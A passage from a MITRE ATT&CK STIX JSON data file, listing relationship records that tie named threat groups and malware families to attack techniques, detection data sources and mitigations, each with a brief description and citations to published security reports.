Kitten","description":"Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.","url":"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf"},{"source_name":"Check Point APT35 CharmPower January 2022","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"},{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-12T19:50:32.746Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has obtained and used tools like [Havij](https://attack.mitre.org/software/S0224), [sqlmap](https://attack.mitre.org/software/S0225), Metasploit, [Mimikatz](https://attack.mitre.org/software/S0002), and Plink.(Citation: Check Point Rocket Kitten)(Citation: FireEye APT35 2018)(Citation: Check Point APT35 CharmPower January 2022)(Citation: DFIR Phosphorus November 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--11395d9f-861f-4219-9558-aa814b7d4160","created":"2022-03-30T14:26:51.835Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls associated with leveraging a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.","modified":"2022-07-15T14:41:31.282Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--113e09ed-f732-44ad-bc8a-5a14c939864f","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment.","source_ref":"x-mitre-data-component--b008766d-f34f-4ded-b712-659f59aaed6e","target_ref":"attack-pattern--800f9819-7007-4540-a520-40e655876800","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--113fbb20-8dd7-4ba6-b5a8-486e46d9abeb","created":"2022-09-08T15:10:50.133Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T15:10:50.133Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used Trojans from underground hacker websites.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11471266-5136-4cd8-a1ef-d847f33ab6de","type":"relationship","created":"2019-01-31T00:23:06.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","source_name":"Unit 42 Nokki Oct 2018"}],"modified":"2020-03-17T01:19:36.983Z","description":"[Final1stspy](https://attack.mitre.org/software/S0355) creates a Registry Run key to establish persistence.(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11475791-a127-476d-acaa-905e2397be5f","type":"relationship","created":"2021-09-30T15:45:56.580Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T15:45:56.580Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use PowerShell to download and execute payloads.(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1148c339-09f2-4518-9562-c6aa11d5474f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"EFF Manul Aug 2016","description":"Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.","url":"https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf"}],"modified":"2020-03-16T16:01:27.568Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has modules that are capable of capturing audio.(Citation: EFF Manul Aug 2016)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--114f4fb4-3c0a-44b0-aeaf-2e2a3ba50fa5","type":"relationship","created":"2021-08-12T15:10:41.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sogeti CERT ESEC Babuk March 2021","url":"https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf","description":"Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"Medium Babuk February 2021","url":"https://sebdraven.medium.com/babuk-is-distributed-packed-78e2f5dd2e62","description":"Sebdraven. (2021, February 8). Babuk is distributed packed. Retrieved August 11, 2021."}],"modified":"2021-10-04T13:22:55.915Z","description":"[Babuk](https://attack.mitre.org/software/S0638) has the ability to unpack itself into memory using XOR.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: Medium Babuk February 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--114f98a4-6243-4a0c-a6c4-3e693a4f9b08","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[APT30](https://attack.mitre.org/groups/G0013) may have used the [SHIPSHAPE](https://attack.mitre.org/software/S0028) malware to move onto air-gapped networks. [SHIPSHAPE](https://attack.mitre.org/software/S0028) targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--115562b8-9d7c-435e-af6e-0be6249742d0","created":"2017-05-31T21:33:27.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Twitter Ida Pro Nov 2021","description":"Cherepanov, Anton. (2019, November 10). ESETresearch discovered a trojanized IDA Pro installer. Retrieved September 12, 2024.","url":"https://x.com/ESETresearch/status/1458438155149922312"},{"source_name":"TrendMicro macOS Dacls May 2020","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/"},{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"},{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Qualys LolZarus","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"},{"source_name":"Lazarus APT January 2022","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"},{"source_name":"SentinelOne Lazarus macOS July 2020","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020.","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/"},{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"},{"source_name":"Google TAG Lazarus Jan 2021","description":"Weidemann, A. (2021, January 25). New campaign targeting security researchers. Retrieved December 20, 2021.","url":"https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:28:53.000Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has downloaded files, malware, and tools from its C2 onto a compromised host.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)(Citation: Kaspersky ThreatNeedle Feb 2021)(Citation: Google TAG Lazarus Jan 2021)(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)(Citation: ESET Twitter Ida Pro Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1157b635-1cd6-4f65-9be6-09a9f7ac1664","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques","description":"Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.","source_name":"jRAT Symantec Aug 2018"}],"modified":"2019-06-24T17:20:24.482Z","description":"[jRAT](https://attack.mitre.org/software/S0283) uses WMIC to identify anti-virus products installed on the victim’s machine and to obtain firewall details.(Citation: jRAT Symantec Aug 2018)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--115c34e4-0ddb-44be-9699-bf54433d5d7a","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1161865b-7120-4ca3-a4dd-6d1ee0e02609","type":"relationship","created":"2021-06-21T17:02:17.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-08-31T21:30:39.327Z","description":"[Cuba](https://attack.mitre.org/software/S0625) has a packed payload when delivered.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11643b79-aef3-4322-ab3c-06f6569a1583","type":"relationship","created":"2020-03-02T19:28:55.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-18T01:55:03.166Z","description":"Users can be trained to identify social engineering techniques and spearphishing messages with malicious links.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11670d59-3a21-4dec-bec4-9e6e8de8d89a","created":"2023-04-12T15:35:26.031Z","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:35:26.031Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) has relied on users clicking a malicious attachment delivered through spearphishing.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--116996cd-b855-4730-814d-869fd90e7ce1","type":"relationship","created":"2020-09-11T14:56:37.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."},{"source_name":"Medium Anchor DNS July 2020","url":"https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30","description":"Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}],"modified":"2020-09-11T15:22:21.639Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can download additional payloads.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--116ba54b-b2b3-4e63-9f5b-c5171dde0863","type":"relationship","created":"2020-03-24T23:35:28.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-27T19:58:02.104Z","description":"Limit privileges of user accounts so only authorized users can edit the rc.common file.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--116f105a-ee8c-4544-9164-a0a28a572228","type":"relationship","created":"2021-04-09T16:08:58.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry Bahamut","url":"https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf","description":"The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.594Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used Visual Basic 6 (VB6) payloads.(Citation: BlackBerry Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1174923e-8d3e-4932-9121-8f5fb7089c1e","type":"relationship","created":"2020-01-24T13:51:01.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T12:23:05.078Z","description":"Block .scr files from being executed from non-standard locations.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11764f59-a7b9-4dff-8e37-471d739f5343","created":"2024-05-17T14:02:35.774Z","revoked":false,"external_references":[{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T14:02:35.774Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) performs several system checks as part of anti-analysis mechanisms, including querying the operating system build number, processor vendor and type, video controller, and CPU temperature.(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--117756fe-fb41-414d-81ab-63e0bb1ccdc8","type":"relationship","created":"2022-03-04T18:56:38.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T20:58:13.577Z","description":"Remove or disable access to any systems, resources, and infrastructure that are not explicitly required to be available externally.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1177ad8a-d57f-4882-be1f-c327e08017d2","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"}],"modified":"2019-06-28T20:48:52.615Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can establish using a AppCertDLLs Registry key.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--117ca63e-7fdb-41e6-9f4b-e19a0e889061","created":"2019-06-05T21:30:37.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bromium Ursnif Mar 2017","description":"Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.","url":"https://www.bromium.com/how-ursnif-evades-detection/"},{"source_name":"ProofPoint Ursnif Aug 2016","description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:18:33.799Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used an XOR-based algorithm to encrypt Tor clients dropped to disk.(Citation: ProofPoint Ursnif Aug 2016)\t[Ursnif](https://attack.mitre.org/software/S0386) droppers have also been delivered as password-protected zip files that execute base64 encoded [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands.(Citation: Bromium Ursnif Mar 2017)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--117ecbd3-b4cd-4ad2-a5f4-30ba79563406","type":"relationship","created":"2019-02-12T18:20:09.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2019-04-24T20:56:04.815Z","description":"[Denis](https://attack.mitre.org/software/S0354) deploys additional backdoors and hacking tools to the system.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1180572a-fb9f-4279-9d19-5c095fd84659","created":"2022-09-30T15:37:25.132Z","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T15:37:25.132Z","description":"[Mori](https://attack.mitre.org/software/S1047) has obfuscated the FML.dll with 200MB of junk data.(Citation: DHS CISA AA22-055A MuddyWater February 